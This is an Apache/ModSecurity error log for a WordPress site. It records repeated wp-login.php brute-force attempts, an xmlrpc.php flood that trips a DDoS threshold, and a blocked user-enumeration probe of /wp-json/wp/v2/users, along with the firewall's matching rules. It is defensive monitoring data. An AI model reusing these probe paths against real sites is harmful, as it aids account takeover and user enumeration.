[Fri Nov 14 11:22:25.075207 2025] [:error] [pid 47242:tid 47262] [client 188.213.202.160:25057] [client 188.213.202.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.160, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRagcVPNnvrux3OMagwHFQAAANE"]
[Fri Nov 14 11:40:45.286392 2025] [:error] [pid 47156:tid 47228] [client 188.213.202.151:62139] [client 188.213.202.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRakvdjrQX_P-kC7M_6nBgAAAI4"]
[Fri Nov 14 11:40:45.287076 2025] [:error] [pid 47630:tid 47656] [client 188.213.202.149:58339] [client 188.213.202.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRakvcxXXNBfWgpfVJ66zgAAARg"]
[Fri Nov 14 11:59:06.610952 2025] [:error] [pid 16709:tid 16735] [client 188.213.202.156:37261] [client 188.213.202.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.156, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRapCqNdzfVNC4oipLWdsgAAAVg"]
[Fri Nov 14 11:59:06.610952 2025] [:error] [pid 16709:tid 16720] [client 188.213.202.119:41259] [client 188.213.202.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.119, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRapCqNdzfVNC4oipLWdswAAAUk"]
[Fri Nov 14 12:17:27.590402 2025] [:error] [pid 16575:tid 16650] [client 188.213.202.114:45855] [client 188.213.202.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRatV-6qT670YxigvbALjAAAANA"]
[Fri Nov 14 12:17:27.590980 2025] [:error] [pid 16575:tid 16644] [client 188.213.202.157:39699] [client 188.213.202.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.157, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRatV-6qT670YxigvbALjQAAAMo"]
[Fri Nov 14 12:35:50.467339 2025] [:error] [pid 16709:tid 16716] [client 188.213.202.145:27545] [client 188.213.202.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.145, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRaxpqNdzfVNC4oipLW4VQAAAUU"]
[Fri Nov 14 12:35:50.467630 2025] [:error] [pid 16709:tid 16719] [client 188.213.202.146:25673] [client 188.213.202.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.146, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRaxpqNdzfVNC4oipLW4VgAAAUg"]
[Fri Nov 14 12:54:29.823710 2025] [:error] [pid 16709:tid 16719] [client 188.213.202.142:41871] [client 188.213.202.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.142, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRa2BaNdzfVNC4oipLXCpwAAAUg"]
[Fri Nov 14 12:54:29.824007 2025] [:error] [pid 16575:tid 16637] [client 188.213.202.149:44505] [client 188.213.202.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRa2Be6qT670YxigvbAcjQAAAMM"]
[Fri Nov 14 13:12:55.293296 2025] [:error] [pid 16671:tid 16689] [client 188.213.202.137:40309] [client 188.213.202.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRa6VzsoHwEAmeIzZXDkmwAAAQw"]
[Fri Nov 14 13:12:55.296273 2025] [:error] [pid 16574:tid 16614] [client 188.213.202.139:43629] [client 188.213.202.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.139, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRa6V_6XQqe4NqaoE9LXHQAAAIc"]
[Fri Nov 14 13:21:04.854017 2025] [:error] [pid 16573:tid 16593] [client 158.23.41.116:2068] [client 158.23.41.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.23.41.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRa8QCPGexfUk9FDoEI43gAAAE8"]
[Fri Nov 14 13:21:10.743703 2025] [:error] [pid 16573:tid 16593] [client 158.23.41.116:2068] [client 158.23.41.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.23.41.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRa8RiPGexfUk9FDoEI45AAAAE8"], referer: https://gigfragments.org/wp-login.php
[Fri Nov 14 13:31:33.118654 2025] [:error] [pid 16671:tid 16701] [client 188.213.202.107:55509] [client 188.213.202.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRa-tTsoHwEAmeIzZXDs2gAAARg"]
[Fri Nov 14 13:31:33.128501 2025] [:error] [pid 16709:tid 16711] [client 188.213.202.106:40619] [client 188.213.202.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRa-taNdzfVNC4oipLXXdwAAAUA"]
[Fri Nov 14 13:49:01.438113 2025] [:error] [pid 16575:tid 16641] [client 188.213.202.147:39347] [client 188.213.202.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.147, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbCze6qT670YxigvbAx6wAAAMc"]
[Fri Nov 14 13:49:01.441651 2025] [:error] [pid 16709:tid 16727] [client 188.213.202.159:57615] [client 188.213.202.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbCzaNdzfVNC4oipLXhHAAAAVA"]
[Fri Nov 14 14:06:21.223449 2025] [:error] [pid 16671:tid 16680] [client 188.213.202.159:61955] [client 188.213.202.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbG3TsoHwEAmeIzZXD7HAAAAQM"]
[Fri Nov 14 14:06:21.223449 2025] [:error] [pid 16709:tid 16722] [client 188.213.202.116:63733] [client 188.213.202.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbG3aNdzfVNC4oipLXpgQAAAUs"]
[Fri Nov 14 14:22:35.917620 2025] [:error] [pid 16671:tid 16687] [client 103.9.188.83:54898] [client 103.9.188.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.9.188.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRbKqzsoHwEAmeIzZXACwwAAAQo"]
[Fri Nov 14 14:22:37.555858 2025] [:error] [pid 16709:tid 16714] [client 103.9.188.83:54977] [client 103.9.188.83] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aRbKraNdzfVNC4oipLXz8AAAAUM"]
[Fri Nov 14 14:22:38.047564 2025] [:error] [pid 16574:tid 16626] [client 103.9.188.83:55018] [client 103.9.188.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.9.188.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRbKrv6XQqe4NqaoE9LvngAAAJM"]
[Fri Nov 14 14:22:39.811346 2025] [:error] [pid 16671:tid 16677] [client 103.9.188.83:55132] [client 103.9.188.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.9.188.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRbKrzsoHwEAmeIzZXACygAAAQA"]
[Fri Nov 14 14:22:41.555477 2025] [:error] [pid 16573:tid 16587] [client 103.9.188.83:55196] [client 103.9.188.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.9.188.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRbKsSPGexfUk9FDoEJO7wAAAEk"]
[Fri Nov 14 14:22:43.250199 2025] [:error] [pid 16671:tid 16697] [client 103.9.188.83:55262] [client 103.9.188.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.9.188.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRbKszsoHwEAmeIzZXACzwAAARQ"]
[Fri Nov 14 14:22:44.861230 2025] [:error] [pid 16573:tid 16586] [client 103.9.188.83:55330] [client 103.9.188.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.9.188.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRbKtCPGexfUk9FDoEJPIwAAAEg"]
[Fri Nov 14 14:22:46.540538 2025] [:error] [pid 16574:tid 16629] [client 103.9.188.83:55404] [client 103.9.188.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.9.188.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRbKtv6XQqe4NqaoE9LvpQAAAJY"]
[Fri Nov 14 14:22:46.540721 2025] [:error] [pid 16574:tid 16629] [client 103.9.188.83:55404] [client 103.9.188.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 103.9.188.83, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRbKtv6XQqe4NqaoE9LvpQAAAJY"]
[Fri Nov 14 14:22:47.026526 2025] [:error] [pid 16574:tid 16618] [client 103.9.188.83:55425] [client 103.9.188.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.9.188.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRbKt_6XQqe4NqaoE9LvpgAAAIs"]
[Fri Nov 14 14:22:47.026731 2025] [:error] [pid 16574:tid 16618] [client 103.9.188.83:55425] [client 103.9.188.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 103.9.188.83, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRbKt_6XQqe4NqaoE9LvpgAAAIs"]
[Fri Nov 14 14:22:47.515255 2025] [:error] [pid 16671:tid 16681] [client 103.9.188.83:55448] [client 103.9.188.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.9.188.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRbKtzsoHwEAmeIzZXAC8AAAAQQ"]
[Fri Nov 14 14:22:47.515394 2025] [:error] [pid 16671:tid 16681] [client 103.9.188.83:55448] [client 103.9.188.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 103.9.188.83, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRbKtzsoHwEAmeIzZXAC8AAAAQQ"]
[Fri Nov 14 14:22:48.190604 2025] [:error] [pid 16709:tid 16734] [client 103.9.188.83:55491] [client 103.9.188.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.9.188.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRbKuKNdzfVNC4oipLXz_gAAAVc"]
[Fri Nov 14 14:22:48.190753 2025] [:error] [pid 16709:tid 16734] [client 103.9.188.83:55491] [client 103.9.188.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 103.9.188.83, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRbKuKNdzfVNC4oipLXz_gAAAVc"]
[Fri Nov 14 14:22:48.669043 2025] [:error] [pid 16573:tid 16589] [client 103.9.188.83:55512] [client 103.9.188.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.9.188.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRbKuCPGexfUk9FDoEJPKAAAAEs"]
[Fri Nov 14 14:22:48.669228 2025] [:error] [pid 16573:tid 16589] [client 103.9.188.83:55512] [client 103.9.188.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 103.9.188.83, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRbKuCPGexfUk9FDoEJPKAAAAEs"]
[Fri Nov 14 14:24:33.844616 2025] [:error] [pid 16575:tid 16640] [client 188.213.202.128:57601] [client 188.213.202.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbLIe6qT670YxigvbA-pgAAAMY"]
[Fri Nov 14 14:24:33.846568 2025] [:error] [pid 16575:tid 16641] [client 188.213.202.116:39239] [client 188.213.202.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbLIe6qT670YxigvbA-pwAAAMc"]
[Fri Nov 14 14:43:06.216501 2025] [:error] [pid 16575:tid 16647] [client 188.213.202.125:51829] [client 188.213.202.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.125, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbPeu6qT670YxigvbBDwgAAAM0"]
[Fri Nov 14 14:43:06.216851 2025] [:error] [pid 16709:tid 16730] [client 188.213.202.135:63775] [client 188.213.202.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbPeqNdzfVNC4oipLUAeQAAAVM"]
[Fri Nov 14 15:01:48.364396 2025] [:error] [pid 16575:tid 16654] [client 188.213.202.154:57785] [client 188.213.202.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.154, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbT3O6qT670YxigvbBLWAAAANQ"]
[Fri Nov 14 15:01:48.370529 2025] [:error] [pid 16575:tid 16650] [client 188.213.202.154:65241] [client 188.213.202.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.154, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbT3O6qT670YxigvbBLWQAAANA"]
[Fri Nov 14 15:19:47.409192 2025] [:error] [pid 16709:tid 16735] [client 188.213.202.128:20867] [client 188.213.202.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbYE6NdzfVNC4oipLUT1wAAAVg"]
[Fri Nov 14 15:19:47.409257 2025] [:error] [pid 16709:tid 16734] [client 188.213.202.143:21839] [client 188.213.202.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.143, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbYE6NdzfVNC4oipLUT2AAAAVc"]
[Fri Nov 14 15:38:53.632665 2025] [:error] [pid 16709:tid 16729] [client 188.213.202.136:44313] [client 188.213.202.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbcjaNdzfVNC4oipLUgQAAAAVI"]
[Fri Nov 14 15:38:53.632942 2025] [:error] [pid 16709:tid 16711] [client 188.213.202.153:61231] [client 188.213.202.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.153, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbcjaNdzfVNC4oipLUgQQAAAUA"]
[Fri Nov 14 15:58:40.103964 2025] [:error] [pid 16709:tid 16731] [client 188.213.202.129:53277] [client 188.213.202.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbhMKNdzfVNC4oipLUpBQAAAVQ"]
[Fri Nov 14 15:58:40.109921 2025] [:error] [pid 16709:tid 16715] [client 188.213.202.132:39333] [client 188.213.202.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbhMKNdzfVNC4oipLUpBgAAAUQ"]
[Fri Nov 14 15:59:12.334396 2025] [:error] [pid 16709:tid 16720] [client 49.51.233.46:46086] [client 49.51.233.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRbhUKNdzfVNC4oipLUpfQAAAUk"]
[Fri Nov 14 16:20:11.424523 2025] [:error] [pid 16574:tid 16609] [client 188.213.202.155:29653] [client 188.213.202.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.155, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbmO_6XQqe4NqaoE9IWugAAAII"]
[Fri Nov 14 16:20:11.425269 2025] [:error] [pid 16575:tid 16652] [client 188.213.202.122:31213] [client 188.213.202.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbmO-6qT670YxigvbBl4gAAANI"]
[Fri Nov 14 16:42:37.699708 2025] [:error] [pid 16671:tid 16697] [client 188.213.202.136:24563] [client 188.213.202.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbrfTsoHwEAmeIzZXA5XgAAARQ"]
[Fri Nov 14 16:42:37.700563 2025] [:error] [pid 16709:tid 16715] [client 188.213.202.130:32085] [client 188.213.202.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.130, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbrfaNdzfVNC4oipLU_3gAAAUQ"]
[Fri Nov 14 16:57:00.425907 2025] [:error] [pid 16671:tid 16690] [client 89.252.168.205:57016] [client 89.252.168.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.252.168.205, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbu3DsoHwEAmeIzZXA_nQAAAQ0"]
[Fri Nov 14 17:06:38.226981 2025] [:error] [pid 16573:tid 16597] [client 188.213.202.137:51661] [client 188.213.202.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbxHiPGexfUk9FDoEKKkwAAAFM"]
[Fri Nov 14 17:06:38.227247 2025] [:error] [pid 16709:tid 16716] [client 188.213.202.128:61725] [client 188.213.202.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRbxHqNdzfVNC4oipLVMggAAAUU"]
